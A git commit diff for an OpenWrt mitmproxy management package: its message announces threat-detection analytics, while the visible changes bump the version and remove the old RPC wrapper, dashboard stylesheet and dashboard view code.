feat(mitmproxy): Enhanced threat detection analytics v2.0
Analytics addon enhancements: - SQL injection detection (25+ patterns) - XSS detection (30+ patterns) - Command injection detection (20+ patterns) - Path traversal detection (12+ patterns) - SSRF detection (10+ patterns) - XXE/LDAP injection detection - Log4Shell (CVE-2021-44228) detection - Known CVE patterns (Spring4Shell, MOVEit, etc.) - Rate limiting and bot detection - CrowdSec integration with severity levels LuCI interface rewrite (KISS): - Simplified status view with threat monitor - Security alerts table with severity badges - Service controls (start/stop/restart) - RPCD backend with alerts/threat_stats endpoints - Clean settings form Co-Authored-By: Claude Opus 4.5 <noreply@anthropic.com>
This commit is contained in:
parent
15e04b58a5
commit
a6d2b75db8
@ -7,8 +7,8 @@
|
||||
include $(TOPDIR)/rules.mk
|
||||
|
||||
PKG_NAME:=luci-app-mitmproxy
|
||||
PKG_VERSION:=0.4.0
|
||||
PKG_RELEASE:=6
|
||||
PKG_VERSION:=0.5.0
|
||||
PKG_RELEASE:=1
|
||||
PKG_ARCH:=all
|
||||
|
||||
PKG_LICENSE:=Apache-2.0
|
||||
|
||||
@ -1,193 +0,0 @@
|
||||
'use strict';
|
||||
'require baseclass';
|
||||
'require rpc';
|
||||
|
||||
// Status and settings
|
||||
var callStatus = rpc.declare({
|
||||
object: 'luci.mitmproxy',
|
||||
method: 'status',
|
||||
expect: {}
|
||||
});
|
||||
|
||||
var callSettings = rpc.declare({
|
||||
object: 'luci.mitmproxy',
|
||||
method: 'settings',
|
||||
expect: {}
|
||||
});
|
||||
|
||||
var callSaveSettings = rpc.declare({
|
||||
object: 'luci.mitmproxy',
|
||||
method: 'save_settings',
|
||||
params: ['mode', 'enabled', 'proxy_port', 'web_port', 'web_host', 'data_path',
|
||||
'memory_limit', 'upstream_proxy', 'reverse_target', 'ssl_insecure',
|
||||
'anticache', 'anticomp', 'transparent_enabled', 'transparent_interface',
|
||||
'redirect_http', 'redirect_https', 'filtering_enabled', 'log_requests',
|
||||
'filter_cdn', 'filter_media', 'block_ads', 'apply_now'],
|
||||
expect: {}
|
||||
});
|
||||
|
||||
var callSetMode = rpc.declare({
|
||||
object: 'luci.mitmproxy',
|
||||
method: 'set_mode',
|
||||
params: ['mode', 'apply_now'],
|
||||
expect: {}
|
||||
});
|
||||
|
||||
// Service control
|
||||
var callInstall = rpc.declare({
|
||||
object: 'luci.mitmproxy',
|
||||
method: 'install',
|
||||
expect: {}
|
||||
});
|
||||
|
||||
var callStart = rpc.declare({
|
||||
object: 'luci.mitmproxy',
|
||||
method: 'start',
|
||||
expect: {}
|
||||
});
|
||||
|
||||
var callStop = rpc.declare({
|
||||
object: 'luci.mitmproxy',
|
||||
method: 'stop',
|
||||
expect: {}
|
||||
});
|
||||
|
||||
var callRestart = rpc.declare({
|
||||
object: 'luci.mitmproxy',
|
||||
method: 'restart',
|
||||
expect: {}
|
||||
});
|
||||
|
||||
// Firewall control
|
||||
var callSetupFirewall = rpc.declare({
|
||||
object: 'luci.mitmproxy',
|
||||
method: 'setup_firewall',
|
||||
expect: {}
|
||||
});
|
||||
|
||||
var callClearFirewall = rpc.declare({
|
||||
object: 'luci.mitmproxy',
|
||||
method: 'clear_firewall',
|
||||
expect: {}
|
||||
});
|
||||
|
||||
return baseclass.extend({
|
||||
getStatus: function() {
|
||||
return callStatus().catch(function() {
|
||||
return {
|
||||
running: false,
|
||||
enabled: false,
|
||||
installed: false,
|
||||
lxc_available: false,
|
||||
mode: 'regular',
|
||||
nft_active: false
|
||||
};
|
||||
});
|
||||
},
|
||||
|
||||
getSettings: function() {
|
||||
return callSettings().catch(function() {
|
||||
return {
|
||||
enabled: false,
|
||||
mode: 'regular',
|
||||
proxy_port: 8888,
|
||||
web_port: 8081,
|
||||
web_host: '0.0.0.0',
|
||||
data_path: '/srv/mitmproxy',
|
||||
memory_limit: '256M',
|
||||
transparent_enabled: false,
|
||||
transparent_interface: 'br-lan',
|
||||
redirect_http: true,
|
||||
redirect_https: true,
|
||||
filtering_enabled: false,
|
||||
log_requests: true,
|
||||
filter_cdn: false,
|
||||
filter_media: false,
|
||||
block_ads: false
|
||||
};
|
||||
});
|
||||
},
|
||||
|
||||
saveSettings: function(settings) {
|
||||
return callSaveSettings(
|
||||
settings.mode,
|
||||
settings.enabled,
|
||||
settings.proxy_port,
|
||||
settings.web_port,
|
||||
settings.web_host,
|
||||
settings.data_path,
|
||||
settings.memory_limit,
|
||||
settings.upstream_proxy,
|
||||
settings.reverse_target,
|
||||
settings.ssl_insecure,
|
||||
settings.anticache,
|
||||
settings.anticomp,
|
||||
settings.transparent_enabled,
|
||||
settings.transparent_interface,
|
||||
settings.redirect_http,
|
||||
settings.redirect_https,
|
||||
settings.filtering_enabled,
|
||||
settings.log_requests,
|
||||
settings.filter_cdn,
|
||||
settings.filter_media,
|
||||
settings.block_ads,
|
||||
settings.apply_now !== false
|
||||
);
|
||||
},
|
||||
|
||||
setMode: function(mode, applyNow) {
|
||||
return callSetMode(mode, applyNow !== false);
|
||||
},
|
||||
|
||||
install: function() {
|
||||
return callInstall();
|
||||
},
|
||||
|
||||
start: function() {
|
||||
return callStart();
|
||||
},
|
||||
|
||||
stop: function() {
|
||||
return callStop();
|
||||
},
|
||||
|
||||
restart: function() {
|
||||
return callRestart();
|
||||
},
|
||||
|
||||
setupFirewall: function() {
|
||||
return callSetupFirewall();
|
||||
},
|
||||
|
||||
clearFirewall: function() {
|
||||
return callClearFirewall();
|
||||
},
|
||||
|
||||
getAllData: function() {
|
||||
var self = this;
|
||||
return Promise.all([
|
||||
self.getStatus(),
|
||||
self.getSettings()
|
||||
]).then(function(results) {
|
||||
return {
|
||||
status: results[0],
|
||||
settings: results[1]
|
||||
};
|
||||
});
|
||||
},
|
||||
|
||||
formatBytes: function(bytes) {
|
||||
if (!bytes || bytes === 0) return '0 B';
|
||||
var k = 1024;
|
||||
var sizes = ['B', 'KB', 'MB', 'GB', 'TB'];
|
||||
var i = Math.floor(Math.log(bytes) / Math.log(k));
|
||||
return parseFloat((bytes / Math.pow(k, i)).toFixed(2)) + ' ' + sizes[i];
|
||||
},
|
||||
|
||||
formatNumber: function(num) {
|
||||
if (!num) return '0';
|
||||
if (num >= 1000000) return (num / 1000000).toFixed(1) + 'M';
|
||||
if (num >= 1000) return (num / 1000).toFixed(1) + 'K';
|
||||
return num.toString();
|
||||
}
|
||||
});
|
||||
@ -1,456 +0,0 @@
|
||||
/* mitmproxy Dashboard - SecuBox Theme */
|
||||
|
||||
.mitmproxy-dashboard {
|
||||
--mp-primary: #e74c3c;
|
||||
--mp-primary-light: #ec7063;
|
||||
--mp-secondary: #3498db;
|
||||
--mp-success: #27ae60;
|
||||
--mp-warning: #f39c12;
|
||||
--mp-danger: #c0392b;
|
||||
--mp-bg-dark: #0d0d12;
|
||||
--mp-bg-card: #141419;
|
||||
--mp-bg-card-hover: #1a1a22;
|
||||
--mp-border: rgba(255, 255, 255, 0.08);
|
||||
--mp-text: #e0e0e8;
|
||||
--mp-text-muted: #8a8a9a;
|
||||
--mp-gradient: linear-gradient(135deg, #e74c3c, #c0392b);
|
||||
|
||||
font-family: 'Inter', -apple-system, BlinkMacSystemFont, sans-serif;
|
||||
color: var(--mp-text);
|
||||
padding: 20px;
|
||||
max-width: 1400px;
|
||||
margin: 0 auto;
|
||||
}
|
||||
|
||||
/* Header */
|
||||
.mp-header {
|
||||
display: flex;
|
||||
align-items: center;
|
||||
justify-content: space-between;
|
||||
padding: 20px 24px;
|
||||
background: var(--mp-bg-card);
|
||||
border: 1px solid var(--mp-border);
|
||||
border-radius: 16px;
|
||||
margin-bottom: 20px;
|
||||
}
|
||||
|
||||
.mp-logo {
|
||||
display: flex;
|
||||
align-items: center;
|
||||
gap: 12px;
|
||||
}
|
||||
|
||||
.mp-logo-icon {
|
||||
width: 48px;
|
||||
height: 48px;
|
||||
background: var(--mp-gradient);
|
||||
border-radius: 12px;
|
||||
display: flex;
|
||||
align-items: center;
|
||||
justify-content: center;
|
||||
font-size: 24px;
|
||||
}
|
||||
|
||||
.mp-logo-text {
|
||||
font-size: 24px;
|
||||
font-weight: 700;
|
||||
color: #fff;
|
||||
}
|
||||
|
||||
.mp-logo-text span {
|
||||
color: var(--mp-primary);
|
||||
}
|
||||
|
||||
.mp-status-badge {
|
||||
display: inline-flex;
|
||||
align-items: center;
|
||||
gap: 8px;
|
||||
padding: 8px 16px;
|
||||
border-radius: 20px;
|
||||
font-size: 14px;
|
||||
font-weight: 500;
|
||||
}
|
||||
|
||||
.mp-status-badge.running {
|
||||
background: rgba(39, 174, 96, 0.2);
|
||||
color: #27ae60;
|
||||
}
|
||||
|
||||
.mp-status-badge.stopped {
|
||||
background: rgba(192, 57, 43, 0.2);
|
||||
color: #c0392b;
|
||||
}
|
||||
|
||||
.mp-status-dot {
|
||||
width: 8px;
|
||||
height: 8px;
|
||||
border-radius: 50%;
|
||||
background: currentColor;
|
||||
animation: pulse 2s infinite;
|
||||
}
|
||||
|
||||
@keyframes pulse {
|
||||
0%, 100% { opacity: 1; }
|
||||
50% { opacity: 0.5; }
|
||||
}
|
||||
|
||||
/* Controls */
|
||||
.mp-controls {
|
||||
display: flex;
|
||||
align-items: center;
|
||||
gap: 10px;
|
||||
padding: 16px 20px;
|
||||
background: var(--mp-bg-card);
|
||||
border: 1px solid var(--mp-border);
|
||||
border-radius: 12px;
|
||||
margin-bottom: 20px;
|
||||
flex-wrap: wrap;
|
||||
}
|
||||
|
||||
.mp-btn {
|
||||
display: inline-flex;
|
||||
align-items: center;
|
||||
gap: 6px;
|
||||
padding: 10px 18px;
|
||||
border: none;
|
||||
border-radius: 8px;
|
||||
font-size: 14px;
|
||||
font-weight: 500;
|
||||
cursor: pointer;
|
||||
transition: all 0.2s;
|
||||
background: rgba(255, 255, 255, 0.05);
|
||||
color: var(--mp-text);
|
||||
}
|
||||
|
||||
.mp-btn:hover:not(:disabled) {
|
||||
transform: translateY(-1px);
|
||||
box-shadow: 0 4px 12px rgba(0, 0, 0, 0.3);
|
||||
}
|
||||
|
||||
.mp-btn:disabled {
|
||||
opacity: 0.5;
|
||||
cursor: not-allowed;
|
||||
}
|
||||
|
||||
.mp-btn-success {
|
||||
background: var(--mp-success);
|
||||
color: white;
|
||||
}
|
||||
|
||||
.mp-btn-danger {
|
||||
background: var(--mp-danger);
|
||||
color: white;
|
||||
}
|
||||
|
||||
.mp-btn-primary {
|
||||
background: var(--mp-primary);
|
||||
color: white;
|
||||
}
|
||||
|
||||
.mp-btn-secondary {
|
||||
background: var(--mp-secondary);
|
||||
color: white;
|
||||
}
|
||||
|
||||
/* Quick Stats Grid */
|
||||
.mp-quick-stats {
|
||||
display: grid;
|
||||
grid-template-columns: repeat(auto-fit, minmax(200px, 1fr));
|
||||
gap: 16px;
|
||||
margin-bottom: 20px;
|
||||
}
|
||||
|
||||
.mp-quick-stat {
|
||||
background: var(--mp-bg-card);
|
||||
border: 1px solid var(--mp-border);
|
||||
border-radius: 12px;
|
||||
padding: 20px;
|
||||
position: relative;
|
||||
overflow: hidden;
|
||||
}
|
||||
|
||||
.mp-quick-stat::before {
|
||||
content: '';
|
||||
position: absolute;
|
||||
top: 0;
|
||||
left: 0;
|
||||
right: 0;
|
||||
height: 3px;
|
||||
background: var(--stat-gradient, var(--mp-gradient));
|
||||
}
|
||||
|
||||
.mp-quick-stat-header {
|
||||
display: flex;
|
||||
align-items: center;
|
||||
gap: 8px;
|
||||
margin-bottom: 12px;
|
||||
}
|
||||
|
||||
.mp-quick-stat-icon {
|
||||
font-size: 20px;
|
||||
}
|
||||
|
||||
.mp-quick-stat-label {
|
||||
font-size: 13px;
|
||||
color: var(--mp-text-muted);
|
||||
text-transform: uppercase;
|
||||
letter-spacing: 0.5px;
|
||||
}
|
||||
|
||||
.mp-quick-stat-value {
|
||||
font-size: 28px;
|
||||
font-weight: 700;
|
||||
color: #fff;
|
||||
}
|
||||
|
||||
.mp-quick-stat-sub {
|
||||
font-size: 12px;
|
||||
color: var(--mp-text-muted);
|
||||
margin-top: 4px;
|
||||
}
|
||||
|
||||
/* Cards */
|
||||
.mp-card {
|
||||
background: var(--mp-bg-card);
|
||||
border: 1px solid var(--mp-border);
|
||||
border-radius: 12px;
|
||||
margin-bottom: 20px;
|
||||
overflow: hidden;
|
||||
}
|
||||
|
||||
.mp-card-header {
|
||||
display: flex;
|
||||
align-items: center;
|
||||
justify-content: space-between;
|
||||
padding: 16px 20px;
|
||||
border-bottom: 1px solid var(--mp-border);
|
||||
}
|
||||
|
||||
.mp-card-title {
|
||||
display: flex;
|
||||
align-items: center;
|
||||
gap: 10px;
|
||||
font-size: 16px;
|
||||
font-weight: 600;
|
||||
color: #fff;
|
||||
}
|
||||
|
||||
.mp-card-title-icon {
|
||||
font-size: 18px;
|
||||
}
|
||||
|
||||
.mp-card-badge {
|
||||
background: rgba(255, 255, 255, 0.1);
|
||||
padding: 4px 12px;
|
||||
border-radius: 16px;
|
||||
font-size: 12px;
|
||||
color: var(--mp-text-muted);
|
||||
}
|
||||
|
||||
.mp-card-body {
|
||||
padding: 20px;
|
||||
}
|
||||
|
||||
/* Grid layouts */
|
||||
.mp-grid-2 {
|
||||
display: grid;
|
||||
grid-template-columns: repeat(auto-fit, minmax(400px, 1fr));
|
||||
gap: 20px;
|
||||
margin-bottom: 20px;
|
||||
}
|
||||
|
||||
/* Host list */
|
||||
.mp-hosts-list {
|
||||
display: flex;
|
||||
flex-direction: column;
|
||||
gap: 12px;
|
||||
}
|
||||
|
||||
.mp-host-item {
|
||||
display: flex;
|
||||
align-items: center;
|
||||
gap: 12px;
|
||||
padding: 12px;
|
||||
background: rgba(255, 255, 255, 0.02);
|
||||
border-radius: 8px;
|
||||
transition: background 0.2s;
|
||||
}
|
||||
|
||||
.mp-host-item:hover {
|
||||
background: rgba(255, 255, 255, 0.05);
|
||||
}
|
||||
|
||||
.mp-host-icon {
|
||||
width: 36px;
|
||||
height: 36px;
|
||||
background: var(--mp-gradient);
|
||||
border-radius: 8px;
|
||||
display: flex;
|
||||
align-items: center;
|
||||
justify-content: center;
|
||||
font-size: 16px;
|
||||
}
|
||||
|
||||
.mp-host-info {
|
||||
flex: 1;
|
||||
min-width: 0;
|
||||
}
|
||||
|
||||
.mp-host-name {
|
||||
font-size: 14px;
|
||||
font-weight: 500;
|
||||
color: #fff;
|
||||
white-space: nowrap;
|
||||
overflow: hidden;
|
||||
text-overflow: ellipsis;
|
||||
}
|
||||
|
||||
.mp-host-count {
|
||||
font-size: 12px;
|
||||
color: var(--mp-text-muted);
|
||||
}
|
||||
|
||||
.mp-host-bar {
|
||||
width: 60px;
|
||||
height: 4px;
|
||||
background: rgba(255, 255, 255, 0.1);
|
||||
border-radius: 2px;
|
||||
overflow: hidden;
|
||||
}
|
||||
|
||||
.mp-host-bar-fill {
|
||||
height: 100%;
|
||||
background: var(--mp-gradient);
|
||||
border-radius: 2px;
|
||||
transition: width 0.3s;
|
||||
}
|
||||
|
||||
/* CA Certificate card */
|
||||
.mp-ca-card {
|
||||
display: flex;
|
||||
align-items: center;
|
||||
gap: 16px;
|
||||
padding: 20px;
|
||||
background: rgba(255, 255, 255, 0.02);
|
||||
border-radius: 12px;
|
||||
}
|
||||
|
||||
.mp-ca-icon {
|
||||
width: 56px;
|
||||
height: 56px;
|
||||
background: var(--mp-secondary);
|
||||
border-radius: 12px;
|
||||
display: flex;
|
||||
align-items: center;
|
||||
justify-content: center;
|
||||
font-size: 28px;
|
||||
}
|
||||
|
||||
.mp-ca-info {
|
||||
flex: 1;
|
||||
}
|
||||
|
||||
.mp-ca-title {
|
||||
font-size: 16px;
|
||||
font-weight: 600;
|
||||
color: #fff;
|
||||
margin-bottom: 4px;
|
||||
}
|
||||
|
||||
.mp-ca-status {
|
||||
font-size: 13px;
|
||||
color: var(--mp-text-muted);
|
||||
}
|
||||
|
||||
.mp-ca-status.installed {
|
||||
color: var(--mp-success);
|
||||
}
|
||||
|
||||
.mp-ca-status.not-installed {
|
||||
color: var(--mp-warning);
|
||||
}
|
||||
|
||||
/* Empty state */
|
||||
.mp-empty {
|
||||
text-align: center;
|
||||
padding: 40px 20px;
|
||||
color: var(--mp-text-muted);
|
||||
}
|
||||
|
||||
.mp-empty-icon {
|
||||
font-size: 48px;
|
||||
margin-bottom: 16px;
|
||||
opacity: 0.5;
|
||||
}
|
||||
|
||||
.mp-empty-text {
|
||||
font-size: 16px;
|
||||
font-weight: 500;
|
||||
margin-bottom: 8px;
|
||||
}
|
||||
|
||||
/* Navigation */
|
||||
.mp-app-nav {
|
||||
display: flex;
|
||||
gap: 8px;
|
||||
margin-bottom: 20px;
|
||||
padding: 12px 16px;
|
||||
background: var(--mp-bg-card);
|
||||
border: 1px solid var(--mp-border);
|
||||
border-radius: 12px;
|
||||
}
|
||||
|
||||
.mp-app-nav a {
|
||||
display: flex;
|
||||
align-items: center;
|
||||
gap: 8px;
|
||||
padding: 10px 16px;
|
||||
border-radius: 8px;
|
||||
text-decoration: none;
|
||||
font-size: 14px;
|
||||
font-weight: 500;
|
||||
transition: all 0.2s;
|
||||
color: var(--mp-text-muted);
|
||||
background: transparent;
|
||||
}
|
||||
|
||||
.mp-app-nav a:hover {
|
||||
background: rgba(255, 255, 255, 0.05);
|
||||
color: var(--mp-text);
|
||||
}
|
||||
|
||||
.mp-app-nav a.active {
|
||||
background: var(--mp-gradient);
|
||||
color: white;
|
||||
}
|
||||
|
||||
/* Value update animation */
|
||||
.mp-value-updated {
|
||||
animation: valueFlash 0.5s ease-out;
|
||||
}
|
||||
|
||||
@keyframes valueFlash {
|
||||
0% { color: var(--mp-primary); transform: scale(1.05); }
|
||||
100% { color: inherit; transform: scale(1); }
|
||||
}
|
||||
|
||||
/* Responsive */
|
||||
@media (max-width: 768px) {
|
||||
.mp-header {
|
||||
flex-direction: column;
|
||||
gap: 16px;
|
||||
text-align: center;
|
||||
}
|
||||
|
||||
.mp-controls {
|
||||
justify-content: center;
|
||||
}
|
||||
|
||||
.mp-grid-2 {
|
||||
grid-template-columns: 1fr;
|
||||
}
|
||||
|
||||
.mp-quick-stats {
|
||||
grid-template-columns: repeat(2, 1fr);
|
||||
}
|
||||
}
|
||||
@ -1,366 +0,0 @@
|
||||
'use strict';
|
||||
'require view';
|
||||
'require poll';
|
||||
'require dom';
|
||||
'require ui';
|
||||
'require mitmproxy/api as api';
|
||||
'require secubox-theme/theme as Theme';
|
||||
'require secubox-portal/header as SbHeader';
|
||||
|
||||
var lang = (typeof L !== 'undefined' && L.env && L.env.lang) ||
|
||||
(document.documentElement && document.documentElement.getAttribute('lang')) ||
|
||||
(navigator.language ? navigator.language.split('-')[0] : 'en');
|
||||
Theme.init({ language: lang });
|
||||
|
||||
var MITMPROXY_NAV = [
|
||||
{ id: 'dashboard', icon: '📊', label: 'Dashboard' },
|
||||
{ id: 'webui', icon: '🖥️', label: 'Web UI' },
|
||||
{ id: 'requests', icon: '🔍', label: 'Requests' },
|
||||
{ id: 'settings', icon: '⚙️', label: 'Settings' }
|
||||
];
|
||||
|
||||
function renderMitmproxyNav(activeId) {
|
||||
return E('div', { 'class': 'mp-app-nav' }, MITMPROXY_NAV.map(function(item) {
|
||||
var isActive = activeId === item.id;
|
||||
return E('a', {
|
||||
'href': L.url('admin', 'secubox', 'security', 'mitmproxy', item.id),
|
||||
'class': isActive ? 'active' : ''
|
||||
}, [
|
||||
E('span', {}, item.icon),
|
||||
E('span', {}, _(item.label))
|
||||
]);
|
||||
}));
|
||||
}
|
||||
|
||||
return view.extend({
|
||||
title: _('mitmproxy Dashboard'),
|
||||
pollInterval: 5,
|
||||
pollActive: true,
|
||||
|
||||
load: function() {
|
||||
return api.getAllData();
|
||||
},
|
||||
|
||||
updateDashboard: function(data) {
|
||||
var status = data.status || {};
|
||||
var stats = data.stats || {};
|
||||
|
||||
// Update status badge
|
||||
var statusBadge = document.querySelector('.mp-status-badge');
|
||||
if (statusBadge) {
|
||||
statusBadge.classList.toggle('running', status.running);
|
||||
statusBadge.classList.toggle('stopped', !status.running);
|
||||
statusBadge.innerHTML = '<span class="mp-status-dot"></span>' +
|
||||
(status.running ? 'Running' : 'Stopped');
|
||||
}
|
||||
|
||||
// Update stats
|
||||
var updates = [
|
||||
{ sel: '.mp-stat-requests', val: api.formatNumber(stats.total_requests) },
|
||||
{ sel: '.mp-stat-hosts', val: api.formatNumber(stats.unique_hosts) },
|
||||
{ sel: '.mp-stat-flows', val: api.formatBytes(stats.flow_file_size) }
|
||||
];
|
||||
|
||||
updates.forEach(function(u) {
|
||||
var el = document.querySelector(u.sel);
|
||||
if (el && el.textContent !== u.val) {
|
||||
el.textContent = u.val;
|
||||
el.classList.add('mp-value-updated');
|
||||
setTimeout(function() { el.classList.remove('mp-value-updated'); }, 500);
|
||||
}
|
||||
});
|
||||
},
|
||||
|
||||
startPolling: function() {
|
||||
var self = this;
|
||||
this.pollActive = true;
|
||||
|
||||
poll.add(L.bind(function() {
|
||||
if (!this.pollActive) return Promise.resolve();
|
||||
|
||||
return api.getAllData().then(L.bind(function(data) {
|
||||
this.updateDashboard(data);
|
||||
}, this));
|
||||
}, this), this.pollInterval);
|
||||
},
|
||||
|
||||
stopPolling: function() {
|
||||
this.pollActive = false;
|
||||
poll.stop();
|
||||
},
|
||||
|
||||
handleServiceControl: function(action) {
|
||||
var self = this;
|
||||
|
||||
ui.showModal(_('Please wait...'), [
|
||||
E('p', { 'class': 'spinning' }, _('Processing request...'))
|
||||
]);
|
||||
|
||||
var promise;
|
||||
switch (action) {
|
||||
case 'start':
|
||||
promise = api.serviceStart();
|
||||
break;
|
||||
case 'stop':
|
||||
promise = api.serviceStop();
|
||||
break;
|
||||
case 'restart':
|
||||
promise = api.serviceRestart();
|
||||
break;
|
||||
default:
|
||||
ui.hideModal();
|
||||
return;
|
||||
}
|
||||
|
||||
promise.then(function(result) {
|
||||
ui.hideModal();
|
||||
if (result.running !== undefined) {
|
||||
ui.addNotification(null, E('p', {}, _('Service ' + action + ' completed')), 'info');
|
||||
location.reload();
|
||||
}
|
||||
}).catch(function(err) {
|
||||
ui.hideModal();
|
||||
ui.addNotification(null, E('p', {}, _('Error: ') + err.message), 'error');
|
||||
});
|
||||
},
|
||||
|
||||
handleClearData: function() {
|
||||
var self = this;
|
||||
|
||||
if (!confirm(_('Clear all captured request data?'))) {
|
||||
return;
|
||||
}
|
||||
|
||||
api.clearData().then(function(result) {
|
||||
if (result.success) {
|
||||
ui.addNotification(null, E('p', {}, result.message || _('Data cleared')), 'info');
|
||||
location.reload();
|
||||
}
|
||||
});
|
||||
},
|
||||
|
||||
render: function(data) {
|
||||
var self = this;
|
||||
var status = data.status || {};
|
||||
var config = data.config || {};
|
||||
var stats = data.stats || {};
|
||||
var topHosts = (data.topHosts || {}).hosts || [];
|
||||
var caInfo = data.caInfo || {};
|
||||
|
||||
var view = E('div', { 'class': 'mitmproxy-dashboard' }, [
|
||||
E('link', { 'rel': 'stylesheet', 'href': L.resource('mitmproxy/dashboard.css') }),
|
||||
|
||||
// Header
|
||||
E('div', { 'class': 'mp-header' }, [
|
||||
E('div', { 'class': 'mp-logo' }, [
|
||||
E('div', { 'class': 'mp-logo-icon' }, '🔐'),
|
||||
E('div', { 'class': 'mp-logo-text' }, ['mitm', E('span', {}, 'proxy')])
|
||||
]),
|
||||
E('div', {}, [
|
||||
E('div', {
|
||||
'class': 'mp-status-badge ' + (status.running ? 'running' : 'stopped')
|
||||
}, [
|
||||
E('span', { 'class': 'mp-status-dot' }),
|
||||
status.running ? 'Running' : 'Stopped'
|
||||
])
|
||||
])
|
||||
]),
|
||||
|
||||
// Service controls
|
||||
E('div', { 'class': 'mp-controls' }, [
|
||||
E('button', {
|
||||
'class': 'mp-btn mp-btn-success',
|
||||
'click': function() { self.handleServiceControl('start'); },
|
||||
'disabled': status.running
|
||||
}, '▶ Start'),
|
||||
E('button', {
|
||||
'class': 'mp-btn mp-btn-danger',
|
||||
'click': function() { self.handleServiceControl('stop'); },
|
||||
'disabled': !status.running
|
||||
}, '⏹ Stop'),
|
||||
E('button', {
|
||||
'class': 'mp-btn mp-btn-primary',
|
||||
'click': function() { self.handleServiceControl('restart'); }
|
||||
}, '🔄 Restart'),
|
||||
E('div', { 'style': 'flex: 1' }),
|
||||
status.web_url ? E('a', {
|
||||
'class': 'mp-btn mp-btn-secondary',
|
||||
'href': status.web_url,
|
||||
'target': '_blank'
|
||||
}, '🌐 Open Web UI') : null,
|
||||
E('button', {
|
||||
'class': 'mp-btn',
|
||||
'click': L.bind(this.handleClearData, this)
|
||||
}, '🗑 Clear Data')
|
||||
]),
|
||||
|
||||
// Quick Stats
|
||||
E('div', { 'class': 'mp-quick-stats' }, [
|
||||
E('div', { 'class': 'mp-quick-stat' }, [
|
||||
E('div', { 'class': 'mp-quick-stat-header' }, [
|
||||
E('span', { 'class': 'mp-quick-stat-icon' }, '📊'),
|
||||
E('span', { 'class': 'mp-quick-stat-label' }, 'Total Requests')
|
||||
]),
|
||||
E('div', { 'class': 'mp-quick-stat-value mp-stat-requests' },
|
||||
api.formatNumber(stats.total_requests || 0)),
|
||||
E('div', { 'class': 'mp-quick-stat-sub' }, 'Captured since start')
|
||||
]),
|
||||
E('div', { 'class': 'mp-quick-stat', 'style': '--stat-gradient: linear-gradient(135deg, #3498db, #2980b9)' }, [
|
||||
E('div', { 'class': 'mp-quick-stat-header' }, [
|
||||
E('span', { 'class': 'mp-quick-stat-icon' }, '🌐'),
|
||||
E('span', { 'class': 'mp-quick-stat-label' }, 'Unique Hosts')
|
||||
]),
|
||||
E('div', { 'class': 'mp-quick-stat-value mp-stat-hosts' },
|
||||
api.formatNumber(stats.unique_hosts || 0)),
|
||||
E('div', { 'class': 'mp-quick-stat-sub' }, 'Distinct domains')
|
||||
]),
|
||||
E('div', { 'class': 'mp-quick-stat', 'style': '--stat-gradient: linear-gradient(135deg, #27ae60, #1abc9c)' }, [
|
||||
E('div', { 'class': 'mp-quick-stat-header' }, [
|
||||
E('span', { 'class': 'mp-quick-stat-icon' }, '💾'),
|
||||
E('span', { 'class': 'mp-quick-stat-label' }, 'Flow Data')
|
||||
]),
|
||||
E('div', { 'class': 'mp-quick-stat-value mp-stat-flows' },
|
||||
api.formatBytes(stats.flow_file_size || 0)),
|
||||
E('div', { 'class': 'mp-quick-stat-sub' }, 'Captured flows')
|
||||
]),
|
||||
E('div', { 'class': 'mp-quick-stat', 'style': '--stat-gradient: linear-gradient(135deg, #9b59b6, #8e44ad)' }, [
|
||||
E('div', { 'class': 'mp-quick-stat-header' }, [
|
||||
E('span', { 'class': 'mp-quick-stat-icon' }, '🔌'),
|
||||
E('span', { 'class': 'mp-quick-stat-label' }, 'Proxy Port')
|
||||
]),
|
||||
E('div', { 'class': 'mp-quick-stat-value' }, status.listen_port || 8080),
|
||||
E('div', { 'class': 'mp-quick-stat-sub' }, config.mode || 'transparent')
|
||||
])
|
||||
]),
|
||||
|
||||
// Grid layout
|
||||
E('div', { 'class': 'mp-grid-2' }, [
|
||||
// Top Hosts
|
||||
E('div', { 'class': 'mp-card' }, [
|
||||
E('div', { 'class': 'mp-card-header' }, [
|
||||
E('div', { 'class': 'mp-card-title' }, [
|
||||
E('span', { 'class': 'mp-card-title-icon' }, '🌐'),
|
||||
'Top Hosts'
|
||||
]),
|
||||
E('div', { 'class': 'mp-card-badge' }, topHosts.length + ' hosts')
|
||||
]),
|
||||
E('div', { 'class': 'mp-card-body' },
|
||||
topHosts.length > 0 ?
|
||||
E('div', { 'class': 'mp-hosts-list' },
|
||||
(function() {
|
||||
var maxCount = Math.max.apply(null, topHosts.map(function(h) { return h.count || 0; })) || 1;
|
||||
return topHosts.slice(0, 8).map(function(host) {
|
||||
var pct = Math.round(((host.count || 0) / maxCount) * 100);
|
||||
return E('div', { 'class': 'mp-host-item' }, [
|
||||
E('div', { 'class': 'mp-host-icon' }, '🔗'),
|
||||
E('div', { 'class': 'mp-host-info' }, [
|
||||
E('div', { 'class': 'mp-host-name' }, host.host || 'unknown'),
|
||||
E('div', { 'class': 'mp-host-count' }, (host.count || 0) + ' requests')
|
||||
]),
|
||||
E('div', { 'class': 'mp-host-bar' }, [
|
||||
E('div', { 'class': 'mp-host-bar-fill', 'style': 'width:' + pct + '%' })
|
||||
])
|
||||
]);
|
||||
});
|
||||
})()
|
||||
) :
|
||||
E('div', { 'class': 'mp-empty' }, [
|
||||
E('div', { 'class': 'mp-empty-icon' }, '🌐'),
|
||||
E('div', { 'class': 'mp-empty-text' }, 'No hosts captured yet'),
|
||||
E('p', {}, 'Start the proxy and generate traffic')
|
||||
])
|
||||
)
|
||||
]),
|
||||
|
||||
// CA Certificate
|
||||
E('div', { 'class': 'mp-card' }, [
|
||||
E('div', { 'class': 'mp-card-header' }, [
|
||||
E('div', { 'class': 'mp-card-title' }, [
|
||||
E('span', { 'class': 'mp-card-title-icon' }, '🔒'),
|
||||
'CA Certificate'
|
||||
])
|
||||
]),
|
||||
E('div', { 'class': 'mp-card-body' }, [
|
||||
E('div', { 'class': 'mp-ca-card' }, [
|
||||
E('div', { 'class': 'mp-ca-icon' }, '📜'),
|
||||
E('div', { 'class': 'mp-ca-info' }, [
|
||||
E('div', { 'class': 'mp-ca-title' }, 'mitmproxy CA'),
|
||||
E('div', {
|
||||
'class': 'mp-ca-status ' + (caInfo.installed ? 'installed' : 'not-installed')
|
||||
}, caInfo.installed ? 'Certificate installed' : 'Certificate not generated'),
|
||||
caInfo.expires ? E('div', { 'class': 'mp-ca-status' }, 'Expires: ' + caInfo.expires) : null
|
||||
]),
|
||||
caInfo.download_url ? E('a', {
|
||||
'class': 'mp-btn mp-btn-secondary',
|
||||
'href': caInfo.download_url,
|
||||
'target': '_blank'
|
